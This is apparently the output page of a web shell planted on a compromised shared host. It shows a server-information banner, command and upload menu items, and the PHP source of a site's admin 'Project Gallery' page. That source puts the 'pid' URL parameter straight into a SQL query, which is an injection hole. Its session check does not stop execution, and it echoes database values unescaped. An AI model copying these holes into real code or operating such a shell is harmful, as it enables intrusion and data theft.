|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/sbm/../DOT/admin/db/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include "config.php";
session_start();
if(!isset($_SESSION['AID']))
{
echo"<script>alert('Access Denied');window.open('index','_self');</script>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php require_once "inc/head.php";?>
<link rel="stylesheet" type="text/css" href="inc/css/jquery.dataTables.css"/>
<style>
.dataTables_wrapper .dataTables_length, .dataTables_wrapper .dataTables_filter, .dataTables_wrapper .dataTables_info, .dataTables_wrapper .dataTables_processing, .dataTables_wrapper .dataTables_paginate {
color: #38266f;
margin-bottom:20px;
}
table.dataTable thead th, table.dataTable thead td {
padding: 10px 18px;
border-bottom: 1px solid #f7f1f1;
}
</style>
</head>
<body class="page-body">
<div class="page-container">
<div class="sidebar-menu">
<?php require_once "inc/sidebar.php";?>
</div>
<div class="main-content">
<div class="row">
<?php require_once "inc/top_nav.php";?>
<ol class="breadcrumb bc-3" >
<li>
<a href="admin_home"><i class="fa-home"></i>Home</a>
</li>
<li class="active">
<strong>Update Project Gallery </strong>
</li>
</ol>
<h2> Project Gallery <a href="admin_add_gallery" class="btn btn-xs btn-danger pull-right"> Back</a></h2><hr>
<div class="row">
<div class="col-md-12">
<?php
$sql="Select project.PTITLE, gallery.*
From project Inner Join
gallery On gallery.PID = project.PID where gallery.PID={$_GET["pid"]} order by gallery.GORDER";
$list='';
$result=$con->query($sql);
if($result->num_rows>0)
{
$i=0;
$list.= "<table class='table table-bordered' id='myTable' >";
$list.= "<thead>
<tr class='text-primary'>
<th>Sno</th>
<th>Project Title</th>
<th>Image Title</th>
<th>Order No</th>
<th>Images</th>
<th>Update</th>
<th>Delete</th>
</tr>
</thead>
<tbody>";
while($row=$result->fetch_assoc())
{
$i++;
$list.="<tr>";
$list.= "<td>".$i."</td>";
$list.= "<td>".$row["PTITLE"]."</td>";
$list.= "<td>".$row["GTITLE"]."</td>";
$list.= "<td>".$row["GORDER"]."</td>";
$list.= "<td><img src='data:image;base64,".base64_encode($row["GIMG"])."' height='60' width='60'></td>";
$list.= "<td><a href='update_orderno?gid=".$row["GID"]."' class='btn btn-success btn-md'> Update Order No </a></td>";
$list.= "<td><a href='Galdel?gid=".$row["GID"]."' class='btn btn-danger btn-md' onclick='return confirm(\'Are You Sure To Delete\')'> Delete </a> </td>";
$list.="</tr>";
}
$list.= "</tbody>
</table>";
}
else
{
$list.= "<div class='alert alert-danger'>No Images Found</div>";
}
echo $list;
?>
</div>
<br />
</div>
<?php require_once "inc/footer.php";?>
<script src="inc/js/jquery.dataTables.js"></script>
<script>
$(document).ready(function(){
$('#myTable').DataTable();
});
</script>
</body>
</html>